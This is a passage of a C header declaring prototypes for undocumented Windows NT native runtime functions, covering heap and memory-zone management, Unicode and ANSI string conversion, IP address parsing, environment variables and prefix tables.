);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateRegistryKey(\r\n\tIN ULONG RelativeTo,\r\n\tIN PWSTR Path\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCheckRegistryKey(\r\n\tIN ULONG RelativeTo,\r\n\tIN PWSTR Path\r\n    );\r\n\r\n//added 21/03/2011\r\n//begin\r\nBOOLEAN\r\nNTAPI\r\nRtlLockHeap(\r\n\tIN PVOID HeapHandle\r\n\t);\r\n\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlUnlockHeap(\r\n\tIN PVOID HeapHandle\r\n\t);\r\n\r\n\r\nPVOID\r\nNTAPI\r\nRtlReAllocateHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN PVOID BaseAddress,\r\n    IN SIZE_T Size\r\n    );\r\n\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlGetUserInfoHeap(\r\n\tIN PVOID HeapHandle,\r\n\tIN ULONG Flags,\r\n\tIN PVOID BaseAddress,\r\n\tOUT OPTIONAL PVOID *UserValue,\r\n\tOUT OPTIONAL PULONG UserFlags\r\n    );\r\n\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlSetUserValueHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN PVOID BaseAddress,\r\n    IN PVOID UserValue\r\n    );\r\n\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlSetUserFlagsHeap(\r\n\tIN PVOID HeapHandle,\r\n\tIN ULONG Flags,\r\n\tIN PVOID BaseAddress,\r\n\tIN ULONG UserFlagsReset,\r\n\tIN ULONG UserFlagsSet\r\n\t);\r\n\r\n\r\nULONG\r\nNTAPI\r\nRtlCreateTagHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    _In_opt_ PWSTR TagPrefix,\r\n    IN PWSTR TagNames\r\n    );\r\n\r\n\r\nPWSTR\r\nNTAPI\r\nRtlQueryTagHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN USHORT TagIndex,\r\n    IN BOOLEAN ResetCounters,\r\n    OUT OPTIONAL PRTL_HEAP_TAG_INFO TagInfo\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlExtendHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN PVOID Base,\r\n    IN SIZE_T Size\r\n    );\r\n\r\n\r\nSIZE_T\r\nNTAPI\r\nRtlCompactHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlValidateProcessHeaps(\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlGetProcessHeaps(\r\n    IN ULONG NumberOfHeaps,\r\n    OUT PVOID *ProcessHeaps\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUsageHeap(\r\n\tIN PVOID HeapHandle,\r\n\tIN ULONG Flags,\r\n\t_Inout_ PRTL_HEAP_USAGE Usage\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlWalkHeap(\r\n\tIN PVOID HeapHandle,\r\n\t_Inout_ PRTL_HEAP_WALK_ENTRY Entry\r\n\t);\r\n\r\n#if !defined(_WINDOWS_)\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryHeapInformation(\r\n\tIN PVOID HeapHandle,\r\n\tIN HEAP_INFORMATION_CLASS HeapInformationClass,\r\n\tOUT OPTIONAL PVOID HeapInformation,\r\n\t_In_opt_ SIZE_T HeapInformationLength,\r\n\tOUT OPTIONAL PSIZE_T ReturnLength\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetHeapInformation(\r\n\tIN PVOID HeapHandle,\r\n\tIN HEAP_INFORMATION_CLASS HeapInformationClass,\r\n\t_In_opt_ PVOID HeapInformation,\r\n\t_In_opt_ SIZE_T HeapInformationLength\r\n\t);\r\n#endif\r\n\r\nULONG\r\nNTAPI\r\nRtlMultipleAllocateHeap(\r\n\tIN PVOID HeapHandle,\r\n\tIN ULONG Flags,\r\n\tIN SIZE_T Size,\r\n\tIN ULONG Count,\r\n\tOUT PVOID *Array\r\n\t);\r\n\r\nULONG\r\nNTAPI\r\nRtlMultipleFreeHeap(\r\n\tIN PVOID HeapHandle,\r\n\tIN ULONG Flags,\r\n\tIN ULONG Count,\r\n\tIN PVOID *Array\r\n\t);\r\n\r\nVOID\r\nNTAPI\r\nRtlDetectHeapLeaks(\r\n\tVOID\r\n\t);\r\n\r\n\r\n#if (NTDDI_VERSION >= NTDDI_VISTA)\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateMemoryZone(\r\n\tOUT PVOID *MemoryZone,\r\n\tIN SIZE_T InitialSize,\r\n\tULONG Flags\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyMemoryZone(\r\n\tIN PVOID MemoryZone\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAllocateMemoryZone(\r\n\tIN PVOID MemoryZone,\r\n\tIN SIZE_T BlockSize,\r\n\tOUT PVOID *Block\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlResetMemoryZone(\r\n\tIN PVOID MemoryZone\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLockMemoryZone(\r\n\tIN PVOID MemoryZone\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnlockMemoryZone(\r\n\tIN PVOID MemoryZone\r\n\t);\r\n#endif\r\n\r\n\r\n#if (NTDDI_VERSION >= NTDDI_VISTA)\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateMemoryBlockLookaside(\r\n\tOUT PVOID *MemoryBlockLookaside,\r\n\tIN ULONG Flags,\r\n\tIN ULONG InitialSize,\r\n\tIN ULONG MinimumBlockSize,\r\n\tIN ULONG MaximumBlockSize\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyMemoryBlockLookaside(\r\n\tIN PVOID MemoryBlockLookaside\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAllocateMemoryBlockLookaside(\r\n\tIN PVOID MemoryBlockLookaside,\r\n\tIN ULONG BlockSize,\r\n\tOUT PVOID *Block\r\n\t);\r\n\r\nNTSYSAPI\r\nNTSTATUS\r\nNTAPI\r\nRtlFreeMemoryBlockLookaside(\r\n\tIN PVOID MemoryBlockLookaside,\r\n\tIN PVOID Block\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlExtendMemoryBlockLookaside(\r\n\tIN PVOID MemoryBlockLookaside,\r\n\tIN ULONG Increment\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlResetMemoryBlockLookaside(\r\n\tIN PVOID MemoryBlockLookaside\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLockMemoryBlockLookaside(\r\n\tIN PVOID MemoryBlockLookaside\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnlockMemoryBlockLookaside(\r\n\tIN PVOID MemoryBlockLookaside\r\n\t);\r\n#endif\r\n\r\nHANDLE\r\nNTAPI\r\nRtlGetCurrentTransaction(\r\n\t);\r\n\r\nLOGICAL\r\nNTAPI\r\nRtlSetCurrentTransaction(\r\n\tIN HANDLE TransactionHandle\r\n\t);\r\n\r\nPRTL_DEBUG_INFORMATION\r\nNTAPI\r\nRtlCreateQueryDebugBuffer(\r\n\t_In_opt_ ULONG MaximumCommit,\r\n\tIN BOOLEAN UseEventPair\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyQueryDebugBuffer(\r\n\tIN PRTL_DEBUG_INFORMATION Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryProcessDebugInformation(\r\n\tIN HANDLE UniqueProcessId,\r\n\tIN ULONG Flags,\r\n\t_Inout_ PRTL_DEBUG_INFORMATION Buffer\r\n\t);\r\n\r\n\r\n//added 21/03/2011\r\n//end\r\n\r\nULONG\r\nNTAPI\r\nRtlUniform (\r\n\tPULONG Seed\r\n    );\r\n\r\nNTSTATUS\r\nRtlComputeImportTableHash(\r\n\tIN HANDLE hFile,\r\n\tOUT PCHAR Hash,\r\n\tIN ULONG ImportTableHashRevision\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIntegerToChar (\r\n    ULONG Value,\r\n    ULONG Base,\r\n    LONG OutputLength,\r\n    PSZ String\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIntegerToUnicode (\r\n    IN ULONG Value,\r\n    IN ULONG Base OPTIONAL,\r\n    IN LONG OutputLength,\r\n    OUT PWSTR String\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLargeIntegerToChar (\r\n    PLARGE_INTEGER Value,\r\n    ULONG Base OPTIONAL,\r\n    LONG OutputLength,\r\n    PSZ String\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLargeIntegerToUnicode (\r\n    IN PLARGE_INTEGER Value,\r\n    IN ULONG Base OPTIONAL,\r\n    IN LONG OutputLength,\r\n    OUT PWSTR String\r\n    );\r\n\r\nPSTR\r\nNTAPI\r\nRtlIpv4AddressToStringA (\r\n\tIN const struct in_addr *Addr,\r\n\tOUT PSTR S\r\n\t);\r\n\r\nPSTR\r\nNTAPI\r\nRtlIpv6AddressToStringA (\r\n\tIN const struct in6_addr *Addr,\r\n\tOUT PSTR S\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv4AddressToStringExA(\r\n    IN const struct in_addr *Address,\r\n    IN USHORT Port,\r\n    OUT PSTR AddressString,\r\n    _Inout_ PULONG AddressStringLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv6AddressToStringExA(\r\n    IN const struct in6_addr *Address,\r\n    IN ULONG ScopeId,\r\n    IN USHORT Port,\r\n    OUT PSTR AddressString,\r\n    _Inout_ PULONG AddressStringLength\r\n    );\r\n\r\nPWSTR\r\nNTAPI\r\nRtlIpv4AddressToStringW (\r\n    IN const struct in_addr *Addr,\r\n    OUT PWSTR S\r\n    );\r\n\r\nPWSTR\r\nNTAPI\r\nRtlIpv6AddressToStringW (\r\n    IN const struct in6_addr *Addr,\r\n    OUT PWSTR S\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv4AddressToStringExW(\r\n    IN const struct in_addr *Address,\r\n    IN USHORT Port,\r\n    OUT PWSTR AddressString,\r\n    _Inout_ PULONG AddressStringLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv6AddressToStringExW(\r\n    IN const struct in6_addr *Address,\r\n    IN ULONG ScopeId,\r\n    IN USHORT Port,\r\n    OUT PWSTR AddressString,\r\n    _Inout_ PULONG AddressStringLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv4StringToAddressA (\r\n    IN PCSTR S,\r\n    IN BOOLEAN Strict,\r\n    OUT PCSTR *Terminator,\r\n    OUT struct in_addr *Addr\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv6StringToAddressA (\r\n    IN PCSTR S,\r\n    OUT PCSTR *Terminator,\r\n    OUT struct in6_addr *Addr\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv4StringToAddressExA (\r\n    IN PCSTR AddressString,\r\n    IN BOOLEAN Strict,\r\n    OUT struct in_addr *Address,\r\n    OUT PUSHORT Port\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv6StringToAddressExA (\r\n    IN PCSTR AddressString,\r\n    OUT struct in6_addr *Address,\r\n    OUT PULONG ScopeId,\r\n    OUT PUSHORT Port\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv4StringToAddressW (\r\n    IN PCWSTR S,\r\n    IN BOOLEAN Strict,\r\n    OUT LPCWSTR *Terminator,\r\n    OUT struct in_addr *Addr\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv6StringToAddressW (\r\n    IN PCWSTR S,\r\n    OUT PCWSTR *Terminator,\r\n    OUT struct in6_addr *Addr\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv4StringToAddressExW (\r\n    IN PCWSTR AddressString,\r\n    IN BOOLEAN Strict,\r\n    OUT struct in_addr *Address,\r\n    OUT PUSHORT Port\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIpv6StringToAddressExW (\r\n    IN PCWSTR AddressString,\r\n    OUT struct in6_addr *Address,\r\n    OUT PULONG ScopeId,\r\n    OUT PUSHORT Port\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIntegerToUnicodeString (\r\n    ULONG Value,\r\n    ULONG Base,\r\n    PUNICODE_STRING String\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInt64ToUnicodeString (\r\n    IN ULONGLONG Value,\r\n    IN ULONG Base OPTIONAL,\r\n    _Inout_ PUNICODE_STRING String\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeStringToInteger (\r\n    PCUNICODE_STRING String,\r\n    ULONG Base,\r\n    PULONG Value\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitString(\r\n    PSTRING DestinationString,\r\n    PCSZ SourceString\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitAnsiString(\r\n    PANSI_STRING DestinationString,\r\n    PCSZ SourceString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitUnicodeString(\r\n    PUNICODE_STRING DestinationString,\r\n    PCWSTR SourceString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitUnicodeStringEx(\r\n    PUNICODE_STRING DestinationString,\r\n    PCWSTR SourceString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitAnsiStringEx(\r\n    OUT PANSI_STRING DestinationString,\r\n    IN PCSZ SourceString OPTIONAL\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlCreateUnicodeString(\r\n    OUT PUNICODE_STRING DestinationString,\r\n    IN PCWSTR SourceString\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlEqualDomainName(\r\n    IN PCUNICODE_STRING String1,\r\n    IN PCUNICODE_STRING String2\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlEqualComputerName(\r\n    IN PCUNICODE_STRING String1,\r\n    IN PCUNICODE_STRING String2\r\n    );\r\n\r\nNTSTATUS\r\nRtlDnsHostNameToComputerName(\r\n    OUT PUNICODE_STRING ComputerNameString,\r\n    IN PCUNICODE_STRING DnsHostNameString,\r\n    IN BOOLEAN AllocateComputerNameString\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlCreateUnicodeStringFromAsciiz(\r\n    OUT PUNICODE_STRING DestinationString,\r\n    IN PCSZ SourceString\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlCopyString(\r\n    PSTRING DestinationString,\r\n    const STRING * SourceString\r\n    );\r\n\r\nCHAR\r\nNTAPI\r\nRtlUpperChar (\r\n    CHAR Character\r\n    );\r\n\r\nLONG\r\nNTAPI\r\nRtlCompareString(\r\n    const STRING * String1,\r\n    const STRING * String2,\r\n    BOOLEAN CaseInSensitive\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlEqualString(\r\n    const STRING * String1,\r\n    const STRING * String2,\r\n    BOOLEAN CaseInSensitive\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlPrefixString(\r\n    const STRING * String1,\r\n    const STRING * String2,\r\n    BOOLEAN CaseInSensitive\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlUpperString(\r\n    PSTRING DestinationString,\r\n    const STRING * SourceString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAppendAsciizToString (\r\n    PSTRING Destination,\r\n    PCSZ Source\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAppendStringToString (\r\n    PSTRING Destination,\r\n    const STRING * Source\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAnsiStringToUnicodeString(\r\n    PUNICODE_STRING DestinationString,\r\n    PCANSI_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nWCHAR\r\nNTAPI\r\nRtlAnsiCharToUnicodeChar(\r\n    PUCHAR *SourceCharacter\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeStringToAnsiString(\r\n    PANSI_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpcaseUnicodeStringToAnsiString(\r\n    PANSI_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlOemStringToUnicodeString(\r\n    PUNICODE_STRING DestinationString,\r\n    PCOEM_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeStringToOemString(\r\n    POEM_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpcaseUnicodeStringToOemString(\r\n    POEM_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlOemStringToCountedUnicodeString(\r\n    PUNICODE_STRING DestinationString,\r\n    PCOEM_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeStringToCountedOemString(\r\n    POEM_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpcaseUnicodeStringToCountedOemString(\r\n    POEM_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nLONG\r\nNTAPI\r\nRtlCompareUnicodeString(\r\n    PCUNICODE_STRING String1,\r\n    PCUNICODE_STRING String2,\r\n    BOOLEAN CaseInSensitive\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlEqualUnicodeString(\r\n    PCUNICODE_STRING String1,\r\n    PCUNICODE_STRING String2,\r\n    BOOLEAN CaseInSensitive\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlHashUnicodeString(\r\n    IN const UNICODE_STRING *String,\r\n    IN BOOLEAN CaseInSensitive,\r\n    IN ULONG HashAlgorithm,\r\n    OUT PULONG HashValue\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlValidateUnicodeString(\r\n    IN ULONG Flags,\r\n    IN const UNICODE_STRING *String\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDuplicateUnicodeString(\r\n    IN ULONG Flags,\r\n    IN const UNICODE_STRING *StringIn,\r\n    OUT UNICODE_STRING *StringOut\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlPrefixUnicodeString(\r\n    IN PCUNICODE_STRING String1,\r\n    IN PCUNICODE_STRING String2,\r\n    IN BOOLEAN CaseInSensitive\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpcaseUnicodeString(\r\n    PUNICODE_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlFindCharInUnicodeString(\r\n    IN ULONG Flags,\r\n    IN PCUNICODE_STRING StringToSearch,\r\n    IN PCUNICODE_STRING CharSet,\r\n    OUT USHORT *NonInclusivePrefixLength\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlCopyUnicodeString(\r\n    PUNICODE_STRING DestinationString,\r\n    PCUNICODE_STRING SourceString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAppendUnicodeStringToString (\r\n    PUNICODE_STRING Destination,\r\n    PCUNICODE_STRING Source\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAppendUnicodeToString (\r\n    PUNICODE_STRING Destination,\r\n    PCWSTR Source\r\n    );\r\n\r\nWCHAR\r\nNTAPI\r\nRtlUpcaseUnicodeChar(\r\n    WCHAR SourceCharacter\r\n    );\r\n\r\nWCHAR\r\nNTAPI\r\nRtlDowncaseUnicodeChar(\r\n    WCHAR SourceCharacter\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlFreeUnicodeString(\r\n    PUNICODE_STRING UnicodeString\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlFreeAnsiString(\r\n    PANSI_STRING AnsiString\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlFreeOemString(\r\n    POEM_STRING OemString\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlxUnicodeStringToAnsiSize(\r\n    PCUNICODE_STRING UnicodeString\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlxUnicodeStringToOemSize(\r\n    PCUNICODE_STRING UnicodeString\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlxAnsiStringToUnicodeSize(\r\n    PCANSI_STRING AnsiString\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlxOemStringToUnicodeSize(\r\n    PCOEM_STRING OemString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlMultiByteToUnicodeN(\r\n\tOUT PWCH UnicodeString,\r\n\tIN ULONG MaxBytesInUnicodeString,\r\n\tOUT OPTIONAL PULONG BytesInUnicodeString,\r\n\tIN PCSTR MultiByteString,\r\n\tIN ULONG BytesInMultiByteString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlMultiByteToUnicodeSize(\r\n    PULONG BytesInUnicodeString,\r\n    PCSTR MultiByteString,\r\n    ULONG BytesInMultiByteString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeToMultiByteSize(\r\n\tOUT PULONG BytesInMultiByteString,\r\n\tIN PWCH UnicodeString,\r\n\tIN ULONG BytesInUnicodeString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeToMultiByteN(\r\n\tOUT PCHAR MultiByteString,\r\n\tIN ULONG MaxBytesInMultiByteString,\r\n\tOUT OPTIONAL PULONG BytesInMultiByteString,\r\n\tIN PWCH UnicodeString,\r\n\tIN ULONG BytesInUnicodeString\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpcaseUnicodeToMultiByteN(\r\n\tOUT PCHAR MultiByteString,\r\n\tIN ULONG MaxBytesInMultiByteString,\r\n\tOUT OPTIONAL PULONG BytesInMultiByteString,\r\n\tIN PWCH UnicodeString,\r\n\tIN ULONG BytesInUnicodeString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlOemToUnicodeN(\r\n\tOUT PWSTR UnicodeString,\r\n\tIN ULONG MaxBytesInUnicodeString,\r\n\tOUT OPTIONAL PULONG BytesInUnicodeString,\r\n\tIN PCH OemString,\r\n\tIN ULONG BytesInOemString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeToOemN(\r\n\tOUT PCHAR OemString,\r\n\tIN ULONG MaxBytesInOemString,\r\n\tOUT OPTIONAL PULONG BytesInOemString,\r\n\tIN PWCH UnicodeString,\r\n\tIN ULONG BytesInUnicodeString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpcaseUnicodeToOemN(\r\n\tOUT PCHAR OemString,\r\n\tIN ULONG MaxBytesInOemString,\r\n\tOUT OPTIONAL PULONG BytesInOemString,\r\n\tIN PWCH UnicodeString,\r\n\tIN ULONG BytesInUnicodeString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlConsoleMultiByteToUnicodeN(\r\n\tOUT PWCH UnicodeString,\r\n\tIN ULONG MaxBytesInUnicodeString,\r\n\tOUT OPTIONAL PULONG BytesInUnicodeString OPTIONAL,\r\n\tIN PCH MultiByteString,\r\n\tIN ULONG BytesInMultiByteString,\r\n\tOUT PULONG pdwSpecialChar );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsTextUnicode(\r\n    IN CONST VOID* Buffer,\r\n    IN ULONG Size,\r\n    _Inout_ PULONG Result OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlStringFromGUID(\r\n    IN REFGUID Guid,\r\n    OUT PUNICODE_STRING GuidString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGUIDFromString(\r\n    IN PUNICODE_STRING GuidString,\r\n    OUT GUID* Guid\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlGenerate8dot3Name (\r\n    IN PUNICODE_STRING Name,\r\n    IN BOOLEAN AllowExtendedCharacters,\r\n    _Inout_ PGENERATE_NAME_CONTEXT Context,\r\n    OUT PUNICODE_STRING Name8dot3\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsNameLegalDOS8Dot3 (\r\n    IN PUNICODE_STRING Name,\r\n    _Inout_ POEM_STRING OemName OPTIONAL,\r\n    _Inout_ PBOOLEAN NameContainsSpaces OPTIONAL\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeContext(\r\n    HANDLE Process,\r\n    PCONTEXT Context,\r\n    PVOID Parameter,\r\n    PVOID InitialPc,\r\n    PVOID InitialSp\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlRemoteCall(\r\n    HANDLE Process,\r\n    HANDLE Thread,\r\n    PVOID CallSite,\r\n    ULONG ArgumentCount,\r\n    PULONG_PTR Arguments,\r\n    BOOLEAN PassContext,\r\n    BOOLEAN AlreadySuspended\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlAcquirePebLock(\r\n\t);\r\n\r\nVOID\r\nNTAPI\r\nRtlReleasePebLock(\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAllocateFromPeb(\r\n\tULONG Size,\r\n\tPVOID *Block\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlFreeToPeb(\r\n\tPVOID Block,\r\n\tULONG Size\r\n\t);\r\n\r\nNTSTATUS\r\nSTDAPIVCALLTYPE\r\nRtlSetProcessIsCritical(\r\n    IN  BOOLEAN  NewValue,\r\n    OUT PBOOLEAN OldValue OPTIONAL,\r\n    IN  BOOLEAN  CheckFlag\r\n    );\r\n\r\nNTSTATUS\r\nSTDAPIVCALLTYPE\r\nRtlSetThreadIsCritical(\r\n    IN  BOOLEAN  NewValue,\r\n    OUT PBOOLEAN OldValue OPTIONAL,\r\n    IN  BOOLEAN  CheckFlag\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateEnvironment(\r\n    BOOLEAN CloneCurrentEnvironment,\r\n    PVOID *Environment\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyEnvironment(\r\n    PVOID Environment\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetCurrentEnvironment(\r\n    PVOID Environment,\r\n    PVOID *PreviousEnvironment\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetEnvironmentVariable(\r\n    PVOID *Environment,\r\n    PCUNICODE_STRING Name,\r\n    PCUNICODE_STRING Value\r\n    );\r\n\r\nULONG\r\nRtlIsDosDeviceName_U(\r\n\tIN PWSTR DosFileName\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryEnvironmentVariable_U (\r\n    PVOID Environment,\r\n    PCUNICODE_STRING Name,\r\n    PUNICODE_STRING Value\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlExpandEnvironmentStrings_U(\r\n    IN PVOID Environment OPTIONAL,\r\n    IN PCUNICODE_STRING Source,\r\n    OUT PUNICODE_STRING Destination,\r\n    OUT PULONG ReturnedLength OPTIONAL\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nPfxInitialize (\r\n    PPREFIX_TABLE PrefixTable\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nPfxInsertPrefix (\r\n    PPREFIX_TABLE PrefixTable,\r\n    PSTRING Prefix,\r\n    PPREFIX_TABLE_ENTRY PrefixTableEntry\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nPfxRemovePrefix (\r\n    PPREFIX_TABLE PrefixTable,\r\n    PPREFIX_TABLE_ENTRY PrefixTableEntry\r\n    );\r\n\r\nPPREFIX_TABLE_ENTRY\r\nNTAPI\r\nPfxFindPrefix (\r\n    PPREFIX_TABLE PrefixTable,\r\n    PSTRING FullName\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeUnicodePrefix (\r\n    PUNICODE_PREFIX_TABLE PrefixTable\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlInsertUnicodePrefix (\r\n    PUNICODE_PREFIX_TABLE PrefixTable,\r\n    PUNICODE_STRING Prefix,\r\n    PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlRemoveUnicodePrefix (\r\n    PUNICODE_PREFIX_TABLE PrefixTable,\r\n    PUNICODE_PREFIX_TABLE_ENTRY 